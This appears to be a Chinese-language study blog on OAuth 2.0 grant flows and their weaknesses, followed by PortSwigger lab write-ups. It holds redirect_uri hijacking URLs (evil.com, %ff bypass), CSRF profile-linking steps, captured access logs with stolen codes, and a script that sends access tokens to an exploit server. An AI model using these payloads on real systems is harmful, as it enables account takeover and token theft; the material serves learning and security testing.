OAuth 用于避免多次输入密码产生,它也减少攻击面,只需一套登陆机制。

OAuth 也有好几个版本 1.0、2.0 到最新的 2.1

目录

学习材料🔨

原理

http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html
https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html
https://www.ruanyifeng.com/blog/2019/04/github-oauth.html

https://oauth.net/2/

看到某个认证头要反应是什么技术:

阅读关于 OAuth RFC 文档。

漏洞

OAUTH2.0测试脑图.jpg

待看文章

BlackHat 议题:

OAuth常见利用总结:https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf

1 OAuth 授权类型认证过程

最常用的是授权码和隐式授权这两种类型,其他的可以暂时不用学。

https://datatracker.ietf.org/doc/html/rfc6749#section-1.1

看过程前要先了解有几个角色,分别是做什么的,后面看交互才不会茫然,不知所云。

  • resource owner,因为资源是用户产生的通常指用户。
  • resource server,存放资源的服务器,你要想获取资源拿 Token 来
  • client,通常是第三方应用服务器。
  • authorization server,颁发 Token 的服务器

结合最新 OAuth 2.1 来看现有授权流程,为什么有些授权不建议使用。

1.1 Authorization Code Grant

RFC 流程图

     +----------+
     | Resource |
     |   Owner  |
     |          |
     +----------+
          ^
          |
         (B)
     +----|-----+          Client Identifier      +---------------+
     |         -+----(A)-- & Redirection URI ---->|               |
     |  User-   |                                 | Authorization |
     |  Agent  -+----(B)-- User authenticates --->|     Server    |
     |          |                                 |               |
     |         -+----(C)-- Authorization Code ---<|               |
     +-|----|---+                                 +---------------+
       |    |                                         ^      v
      (A)  (C)                                        |      |
       |    |                                         |      |
       ^    v                                         |      |
     +---------+                                      |      |
     |         |>---(D)-- Authorization Code ---------'      |
     |  Client |          & Redirection URI                  |
     |         |                                             |
     |         |<---(E)----- Access Token -------------------'
     +---------+       (w/ Optional Refresh Token)

   Note: The lines illustrating steps (A), (B), and (C) are broken into
   two parts as they pass through the user-agent.

                     Figure 3: Authorization Code Flow

https://datatracker.ietf.org/doc/html/rfc6749#section-4.1

授权码认证过程.png

1.用户访问应用,应用将用户重定向到 OAuth 服务器,其参数还携带这当前应用 URL,需要访问的信息。

2.OAuth 向用户取得授权,并展示某个应用需要获取哪些信息,并向用户寻求授权意见。

3.授权成功 OAuth 服务器生成 Authorization Code,并重定向回应用(前面有回调 URL 所以可以重定向回应用不迷路)。

4.后端应用拿 Authorization Code 向 OAuth 服务器获取 Access Token。请求最好从后端发而不是前端,不然知道接口有可能劫持到授权码就得到 Access Token。

5.后续用户操作客户端,客户端就会拿着 Access Token 访问应用资源服务器,应用资源服务器首先向 OAuth 传递 Access Token 检查是否有效,确定有效就返回资源。

有时候资源应用服务器和第三方应用服务器是融合在一起的,既有资源又是应用。

从头到尾整个授权结果是为了拿 AcessToken。

Client 注册

Client 将用户重定向到 OAuth 服务器,第一步是验证 Client 身份,这也很好理解,应用要想拿到 Token 一定是要在 OAuth 服务器登记过,不然我咋知道你是不是骗用户授权来偷数据。

登记需要哪些东西呢?

  1. Redirection Endpoint(Client Callback URL)

Register OAuth Application.png

注册成功后应用会 OAuth 服务生成 Client Identifier 标识应用和 Client secrets 获取 Access Token,通常是字母加数字。

Show OAuth Application ClientSecrets and ClientID.png

Client 身份识别

第三方应用携带 client_id、redirect_uri、scope 参数重定向到 OAuth 服务器。

OAuth 服务器先检查 client_id 存不存在,不存在说明应用没注册。redirect_uri 是不是不匹配,不匹配说明跟注册时的回调 URL 不匹配,防止授权码传递到其他域名上。scope 用来确定不会超出注册时的权限,申请使用的权限超出注册权限说明越权。

参数校验完成才会生成授权页面。

用户授权

授权页面上允许用户选择应用获取什么权限。

用户确认授权后 OAuth 服务器检查用户传递来 scope 参数权限范围和第三方应用注册的权限是否匹配。

再检查一次 scope 原因让用户再次确认要给第三方应用的权限是不是正确的。

生成授权码

生成之前会检查 GET 参数 response_type 是不是 code,一般授权码默认是 code。

生成的授权码有效期一般是 5 分钟,只能使用一次。

生成的授权码要和 scope 做个绑定,方便后面获取 Token 时做数据传递,最终是要 Token 也绑定上 scope,以后资源服务器拿着 Token 可以检查权限。

生成完授权码需要重定向回第三方应用,URL 用的是注册时的回调 URL。

获取 Access Token

第三方应用前端拿到 code 后会将 code 发送到自己后端服务器。

后端服务器拿着 code、client_secret、client_id 向 OAuth 服务器取 Access Token。

Token 生成要求随机无法被猜测,生成后要设置过期时间。

为了后续检查 Token 权限方便需要和 scope 做个绑定。

获取完 Token 需要删除 code。

问题🔨

Q1:仔细观察整个流程,OAuth 服务器成功接收到用户授权后为什么不能返回 Token 给客户端呢?反倒多一步搞个授权码,它的意义是什么?

Q2:Access Token 过期怎么办?
A2:Access Token 有效期过短需要用户不断的重新登录,用户体验不好。由此引入 refresh_token,当 Access Token 快过期就 refresh_token 去重新获取一个新的 Token,旧 Token 失效。引入场景也是用 code 换 Access Token 时也返回 refresh_token。刷新令牌也是有过期时间的,一旦过期,AccessToken 和 RefreshToken 都要失效,必须让用户重新授权。

检测有两种方案:

  1. 前端设置定时器检查 Token 有效性,一旦过期就去获取 Token,是主动的方案
  2. 正常请求直到服务器返回 Token 无效再重新获取 Token,只能等到服务器返回 Token 无效感觉会被动

Q3:真实应用请求过程分析

Q4:SSO 与 OAuth 关系
A5:在 SSO 上遇到过。通过登录密码,授权码方式来访问应用。

PKCE🔨

OAuth 2.0 新增的扩展规范,在 OAuth 2.1 变成默认规范。

只是授权码许可的增强版。

1.2 Resource Owner Password Credentials Grant

使用资源拥有者凭证许可避免每次都拿自己账户的用户名和密码去验证身份访问资源,这样会增加账户泄露的风险,换成资源拥有者凭证许可后,只有第一次认证要拿账户换成 Token,后续只用 Token 进行认证。

密码授权过程.png

1.访问应用,输入自己的用户名密码做认证。

2.第三方应用拿着客户的账户和在 OAuth 注册的信息向 OAuth 发起认证。OAuth 检查第三方应用在 OAuth 注册信息,传过来的账户确实属于第三方应用并且有效,直接返回 Token

3.第三方应用后续拿着 Token 访问资源即可。

和授权码相比 grant_type=password 授权是返回 Token 给应用,这就要求第三方应用服务是可信的,不然它把账户偷走就能随意访问资源服务器上的内容。一般来说这个应用和 OAuth 是一家公司的,不涉及第三方使用才选择此模式。

1.3 Implicit Grant(deprecated)🔨

比授权码简单,访问应用后点击登录,跳转到 OAuth 客户点击同意授权后直接返回 Access Token 给应用前端进行保存,隐藏了授权码兑换这个过程。通常这种模式用在前端应用上。

1.4 Client Credentials(deprecated)🔨

https://datatracker.ietf.org/doc/html/rfc6749#section-4.4

编码实现 OAuth 认证🔨

https://time.geekbang.org/column/intro/100053901

通过微信公众号开发深入了解认证。

2 利用

2.1 Open Redirection

常在 SSO 的重定向上看到此漏洞,在退出登陆注销完会话会设置 redirect_uri 参数跳转到官网,但是没有验证要跳转的域名对不对,所以存在任意重定向。

1.未验证退出时要跳转的 URL

访问 URL,其中 redirect_uri 参数可以跳转任意URL。

https://example.com.cn/oauth/remove/token?redirect_uri=https://eval.com

SSO 任意重定向案例一.png

2.登陆和登出未验证要跳转的 URL

打开 SSO 后发现 Ajax 请求

https://www.example.com.cn/login/steam?callback=getResult&task=base&redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html&_=1620541543355

响应 JSONP 数据。

getResult({"status":"success","result":{"loginUrl":"http:\/\/www.example.com.cn\/sso\/steamLogin?redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html","logoutUrl":"http:\/\/www.example.com.cn\/sso\/steamLogout?redirect=https%3A%2F%2Fwww.example.com.cn%2Factivity%2Findex.html","steamId":"0","isLogin":false,"nickname":"0","avatar":null}})

其中 loginurl 和 logouturl 存在任意重定向漏洞。logouturl 绕过,跳到 https:// http:// 都可以。

https://www.example.com.cn/steam-cn-sso/logout?redirect=//www.csgo.com.cn.raingray.com

打开 302 跳转至 www.example.com.cn.raingray.com。

任意重定向案例二.png

2.2 CSRF intercept authorization code and hijack a session

访问应用功能因为没有登陆自动跳转到 SSO 要求登陆,登陆成功时把授权码重定向回 SSO 应用,用来获取授权码。

POST /login HTTP/1.1
Host: sso.example.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Origin: https://sso.example.com.cn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.example.com.cn/assit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 131

_csrf=19938888380109911&usernmae=user01&password=19371183B1238J10ALA6

HTTP/1.1 302
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 0
Set-Cookie: SESSION=NzJhY2Q3sij2ji3o2u48902hjkls; Path=/; HttpOnly; SameSite=Lax
Location: https://sso.example.com.cn/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://www.example.com.cn

通过 Cookie 获取到授权码 JA7uR8,这时候地址栏上会有 GET 参数 redirect_uri,是用来将授权码 302 重定向到应用,由应用来兑换凭证。

GET /oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://www.example.com.cn HTTP/1.1
Host: sso.example.com.cn
Accept: */*
Authorization: 
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Referer: https://www.example.com.cn
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: SESSION=NzJhY2Q3sij2ji3o2u48902hjkls
Connection: close
Content-Type: application/x-www-form-urlencoded


HTTP/1.1 302
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 0
Location: https://www.example.com.cn?code=JA7uR8
POST /oauth/token HTTP/1.1
Host: www.example.com.cn
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Accept: */*
Authorization: 
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Origin: https://www.example.com.cn
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.example.com.cn/?code=TTBs7V
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 131

grant_type=authorization_code&client_id=gbebs&client_secret=1234&code=l4FHcZ&redirect_uri=https://evil.com%ff@www.example.com.cn


HTTP/1.1 200 
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Type: application/json;charset=UTF-8
Date: Thu, 09 Sep 202X 02:20:42 GMT
Pragma: no-cache
Server: nginx/1.14.2
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Content-Length: 125

{"access_token":"3e12eecb-0b67-48ec-ac48-9a610f8360a8","token_type":"bearer","expires_in":74,"scope":"all","userId":"XXX000"}

在实际测试过程中直接篡改 redirect_uri,用户在 SSO 登陆成功后会把到授权码发到恶意的域名上,相当于截取授权码,恶意应用直接请求授权码兑换 API 就可以获取凭证。

https://example.com/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://evil.com

如果 redirect_uri 检查实在绕不过,尝试找一个白名单应用,挖这个应用的漏洞来想办法将授权码发送攻击者服务器上,比如说 Open Redirector 来获取,SSO 通过跟随重定向来跳转指定应用窃取 auth code。

或者使用 %ff 绕过 redirect_uri 限制,POC 原理参见 [Bypassing callback_url validation on Digits
](https://hackerone.com/reports/108113) 和 Make Redirection Evil Again: URL Parser Issues in OAuth

https://example.com/oauth/authorize?response_type=code&client_id=gbebs&redirect_uri=https://evil.com%ff@www.example.com

这些问题根源都是 Browser、URL Parser 问题,突然想起 SSRF 也是如此。在挖掘思路上可以往这两个点上靠,浏览器和 URl 解析库都是基于 HTTP 协议 RCF 文档实现,只要挖出 URL Parser 问题那么直接利用,挖 Browser 则不会有太多益处,个人认为是各家浏览器对 HTTP 规范实现上都各有不同,出成果比较难以通用。

修复授权码泄露可以直接在代码里硬编码 URL。

3 靶场练习

Web Security Academy

https://portswigger.net/web-security/oauth

Lab: Authentication bypass via OAuth implicit flow

题意:客户端应用程序的验证缺陷使得攻击者可以在不知道密码的情况下登录其他用户的账号。要解决本实验,请登录 Carlos 的账号。他的邮箱地址是 carlos@carlos-montoya.net。你可以使用以下凭据使用自己的社交媒体账号登录:wiener:peter

1.跳转到 OAuth 进行认证

点击 /my-account 自动跳转到 /social-login,由 /social-login 响应的 meta 标签重定向到 OAuth,根据 client_id、redirect_uri 判断当前应用有没注册。

GET /auth?client_id=teawi393unk2q3r2fp99f&redirect_uri=https://0acd00fe041b773e80bf030e003e000f.web-security-academy.net/oauth-callback&response_type=token&nonce=786492138&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a7e00aa04327744803b01dc02b300d6.oauth-server.net
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://0acd00fe041b773e80bf030e003e000f.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
 

 
HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=P9tQObp9CVLgv13JvGI6V; path=/interaction/P9tQObp9CVLgv13JvGI6V; expires=Thu, 29 May 2025 06:11:25 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=P9tQObp9CVLgv13JvGI6V; path=/auth/P9tQObp9CVLgv13JvGI6V; expires=Thu, 29 May 2025 06:11:25 GMT; samesite=lax; secure; httponly
Location: /interaction/P9tQObp9CVLgv13JvGI6V
Content-Type: text/html; charset=utf-8
Date: Thu, 29 May 2025 06:01:25 GMT
Keep-Alive: timeout=5
Content-Length: 99
 
Redirecting to <a href="/interaction/P9tQObp9CVLgv13JvGI6V">/interaction/P9tQObp9CVLgv13JvGI6V</a>.

如果没注册就会出现。

3350006415.png
1739800081.png

跳转成功后显示 /interaction 登录页。

830744278.png

2.用户授权

在 /interaction 登录页上输入密码后,验证成功继续跳转至 OAuth

2029525641.png

/auth 根据 _interaction 认证结果来判断,认证成功就返回一堆 Cookie _interaction_resume_session_session.legacy 接着跳转到授权确认页 /interaction。

2875077752.png
2132350527.png

/interaction 授权页点击授权确认按钮,跳转回 /auth。

908892453.png

3.返回 Token

/auth 确认完授权就直接返回 Token 到前端。

3776131546.png

应用 /oauth-callback 的前端脚本,用来获取和存储锚点中的 Token 信息,后面用来获取 Token 向 /OAuth 应用获取 Session。

3295289822.png

通过 Token 获取对应用户信息。

3747965397.png

向应用传递 Token 换 Session,具体操作是应用在后端自己拿着 client_id 和 Token 信息向 /auth 进行兑换,最后再回显给客户。

940992479.png

成功登录。

2996473737.png

回顾整个认证流程,通过响应类型值是 token response_type=token 和把 token 通过锚点的方式交给前端处理 /oauth-callback#access_token=sHNvbmjxBu8kZ8ZMxYZKFZDN7ZwkyBtGX4KYF_HFKSC,判断这是 OAuth 隐式授权的方式。假如前端拿 Token 兑换 Session 时要是 Token 跟用户名没绑定,是不是就能拿有效的 Token 为任意用户办法 Session 呢?这样可以登入任意用户。

在兑换 Session 时通过替换 email 参数,成功获得 Session,成功验证猜想。

1510477833.png

使用这个 Session 访问个人中心确定有效,完成漏洞利用。

259668779.png

Lab: Forced OAuth profile linking

题意:要求你通过 CSRF 让管理员绑定成你的社交账号,通过社交账户登录管理员账户后删除 carlos 账户完成实验。

1.媒体账户绑定

目前有一个博客站点在登录功能上做了改造,支持通过社交媒体登录

3822241521.png

要想使用这个功能首先得用博客账户 wiener:peter 登录上去,在个人中心找到绑定功能做跳转到 OAuth 输入社交媒体账户 peter.wiener:hotdog 进行绑定才行用。

3659092480.png

点击 Attach a social profile 跳转到绑定页面。

3569351698.png
3168124595.png

输入 peter.wiener:hotdog 进行绑定。

2960033348.png
3500598592.png
2785635846.png

确认绑定。

3209895928.png

返回 Token。其中返回的 Cookie k1xYP7H4pUC0DSRYCtnIM ,后续可以访问 https://oauth-0a1600f10444abe3815d553502a20097.oauth-server.net/auth?client_id=qkkd1536990tncil2s15g&redirect_uri=https://0a3700db0406abc9813a57e600fa003c.web-security-academy.net/oauth-login&response_type=code&scope=openid%20profile%20email 直接获取 Token。

2649209172.png

页面通过 Token 绑定成功。

766367242.png

通过个人中心结果来看确实成功。

2800100155.png

2.社交媒体登录

此时把所有 Cookie 清楚,点击社交媒体登录。

579821596.png
1141374787.png

输入社交媒体账户调到用户授权页面。

1455935916.png
634484582.png
2928476957.png

确认授权。

90951651.png

获取 Token。

4030225018.png

通过 Token 成功兑换 Session 并返回登录成功字样。

4207962618.png
1972554918.png

成功拿着 Token 换的 Session ID 登录应用。

2680054477.png

3.利用 CSRF 漏洞,诱导管理绑定攻击者的社交媒体

下图是绑定账户的请求,Cookie session=3uYc36ufLnnYWzTE4GkoQhwdOHFy3EQl 是通过博客账户登录产生的,这里 GET 参数中的 code=F9Z8AmTRzfsOywyPwScqzhe4ycjZt-p0wOb4lm8E3b1 是通过社交媒体账户去登录的产生的。

搞清楚 Token 和 Cookie 的关系后,把这个链接发给管理员让他打开会怎么样?管理员会拿自己的 Cookie 绑定我们的 Token,说白了只要访问这个链接就绑定攻击者的社交媒体账户。

2656353954.png

在利用服务器配置 302 跳转,我这里只是靶场图省事,假设这是实际利用 302 跳转会显示绑定账户成功这种字样,加强受害者的警觉。最好使用 img、iframe、script 标签完成 CSRF GET 请求利用。

4119250498.png

利用服务器点击底部的 “Deliver exploit to victim” 按钮,让管理员访问这个恶意链接完成 CSRF 触发。利用服务器地址有个 “Access log” 可以看到,管理员有没访问攻击者的恶意链接。

3545007783.png

管理员成功访问链接完成漏洞利用,攻击者退出当前账户,使用社交账户登录,发现已经被绑定到管理员账户上。

3457266431.png

重新用博客账户 wiener 登录,发现社交账户被清除,证明同一个社交账户只能同时绑定到一个博客账户上。

3703134583.png

Lab: OAuth account hijacking via redirect_uri

题意:本实验使用 OAuth 服务允许用户使用其社交媒体账户登录。OAuth 提供商的配置错误使得攻击者能够窃取与其他用户账户相关联的授权码。要解决本实验,窃取与管理员用户相关联的授权码,然后使用它来访问其账户并删除用户 carlos。你可以使用以下凭据使用自己的社交媒体账号登录:wiener:peter

登录的时候 redirect_uri 可以更改回调地址 OAuth 应用没有报错,这说明在 OAuth 上注册应用的功能出现了问题,实际验证回调地址时也没实现验证逻辑。

1450905952.png

把这个更改后的地址发给受害者登录,最终授权码会被发送到此回调地址,被攻击者恶意窃取。

https://oauth-0a650012043ae7be824981f40261006e.oauth-server.net/auth?client_id=efxjpxtopu2j6jzncjwc7&redirect_uri=https://exploit-0a0300e2043ae76d82bd82ea01880072.exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email

攻击者服务器收到授权码后重定向回登录页面,降低受害者警惕。

3025123592.png

我们自己访问这个恶意回调登录 URL,去 “Access log” 里面看确实收到了授权码。

114.246.238.110 2025-05-30 02:26:05 +0000 "GET /exploit?code=-tcMhkA7P_nxYkddWa-MM1lZZYZWTOX59wsvAkn9-HT HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0"

如果用户已经登录,直接访问恶意我们会直接收到授权码。

https://oauth-0a650012043ae7be824981f40261006e.oauth-server.net/auth?client_id=efxjpxtopu2j6jzncjwc7&redirect_uri=https://exploit-0a0300e2043ae76d82bd82ea01880072.exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email

下面对服务器做一些伪装,让 OAuth 回调路径为 login,授权码通过 script 标签发送 GET 跨域请求,记录到 GET 参数上,最后重定向回目标个人账户页面。

3658046650.png

在利用服务器上点击 “Deliver exploit to victim” 按钮,让管理员也访问下我们的恶意链接,假如管理员已经登录那么可以立马获得授权码,不然就需要登录后才能获取。

在日志中看到管理员是已登录状态,立马获得了授权码。

10.0.4.231      2025-05-30 02:37:53 +0000 "GET /login/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.4.231      2025-05-30 02:37:53 +0000 "GET /login?code=hg5UrLn1jKKJNuqdXqWUapUYUtPxUX1zcphrtdYeYB0 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

使用 wiener 的 Cookie 兑换管理员授权码。

365690283.png
161910113.png

替换 Session Id 成功登录,删除 carlos 完成实验。

3754193133.png

Lab: Stealing OAuth access tokens via an open redirect

题意:本 Lab 使用 OAuth 服务允许用户使用其社交媒体账号 wiener:peter 登录。OAuth 服务存在验证缺陷,使得攻击者能够向客户端应用程序的任意页面泄露 Access Token。要解决本 Lab,需在博客网站中找到一个开放重定向漏洞,并利用此漏洞窃取管理员账号的 Access Token。使用该 Access Token 获取管理员的 API Secret,并通过实验横幅中提供的按钮提交解决方案。

这次 redirect_uri 做了严格限制,无法绕过白名单规则。

在博文评论区底部有个 “Next post” 按钮。

https://0ae200e603d834cf80df03eb00b700f7.web-security-academy.net/post/next?path=/post?postId=5

经过测试存在任意重定向。

2302314513.png

redirect_uri 在 /oauth-callback 后面能够加任意东西,这里通过添加 /../post/next?path=evail2.com,让其回到首页访问跳转功能,调到我们的恶意地址。完整利用 URL 如下。

https://oauth-0ab5002a032434648040016902ec00fc.oauth-server.net/auth?client_id=hno42g6uyqch75xt878lz&redirect_uri=https://0ae200e603d834cf80df03eb00b700f7.web-security-academy.net/oauth-callback/../../post/next?path=https://exploit-0ad9008203b1340d80f302db01f7006a.exploit-server.net/exploit&response_type=token&nonce=356928169&scope=openid%20profile%20email

访问恶意 URL 后,是通过锚点来传输给前端的,所以请求日志中看不到这个信息。

https://exploit-0ad9008203b1340d80f302db01f7006a.exploit-server.net/exploit#access_token=AUR0szfEYv95W7kSz3RFxEls7h_HzZbrXU0sECbfyyg&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

需要在恶意服务器上通过前端把 Token 值,以 GET 请求的方式记录下来在转发给自己。如果没有 Token 说明没触发利用,则直接执行 CSRF 利用把 Token 发送给当前恶意服务器。

<script>
    // window.location.hash 获取的是锚点信息 "#access_token=abc123&expires_in=3600"
    // .substring(1) 最终是越过 # 截取后面的字符串
    // new URLSearchParams() 是把参数转换成对象,后面要用的话直接 get('参数名') 就能获取到参数值
    const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
    const token = urlSearchParams.get('access_token');
    if (token) {
        fetch(`https://exploit-0ad9008203b1340d80f302db01f7006a.exploit-server.net/exploit?token=${btoa(token)}`)
        .then(function (response) {
            if (response.status === 200) {
                window.location = "https://0ae200e603d834cf80df03eb00b700f7.web-security-academy.net/my-account"
        }})
    } else {
        window.location = "https://oauth-0ab5002a032434648040016902ec00fc.oauth-server.net/auth?client_id=hno42g6uyqch75xt878lz&redirect_uri=https://0ae200e603d834cf80df03eb00b700f7.web-security-academy.net/oauth-callback/../../post/next?path=https://exploit-0ad9008203b1340d80f302db01f7006a.exploit-server.net/exploit&response_type=token&nonce=356928169&scope=openid%20profile%20email"
    }
</script>

在利用服务器上配置这个响应,自己浏览 https://exploit-0ad9008203b1340d80f302db01f7006a.exploit-server.net/exploit 确实能发送。

3815231304.png

点击 “Delivery exploit to victim”,成功获取到管理员 Token。

10.0.3.52       2025-05-30 07:07:30 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.52       2025-05-30 07:07:31 +0000 "GET /exploit HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.52       2025-05-30 07:07:31 +0000 "GET /exploit?token=VXdHVEpORVVnckpqdUVuOW82YkljUlU2TjJIMkIyRVRIdVlSQnhuOWc2RQ== HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

拿 wiener 的 Session Id 兑换 Token。

669107324.png

替换 Session Id 登录上去,API Key 也是隐藏。

1102552065.png

最后发现是通过 /me 来查这个 Token 的信息,里面包括 API Key。

3043337287.png

Lab: Stealing OAuth access tokens via a proxy page🔨

题意:本实验使用 OAuth 服务允许用户使用其社交媒体账号登录。OAuth 服务存在验证缺陷,使得攻击者能够向客户端应用程序的任意页面泄露访问令牌。要完成实验,需在客户端应用程序中找到一个次要漏洞,并利用该漏洞作为代理来窃取管理员账户的访问令牌。使用该访问令牌获取管理员的 API 密钥,并使用实验横幅中提供的按钮提交解决方案。管理员用户会打开从漏洞服务器发送的任何内容,并且他们始终与 OAuth 服务保持活动会话。您可以使用以下凭据通过自己的社交媒体账户登录:wiener:peter

PentesterLab

参考资料

最近更新:

发布时间:

摆哈儿龙门阵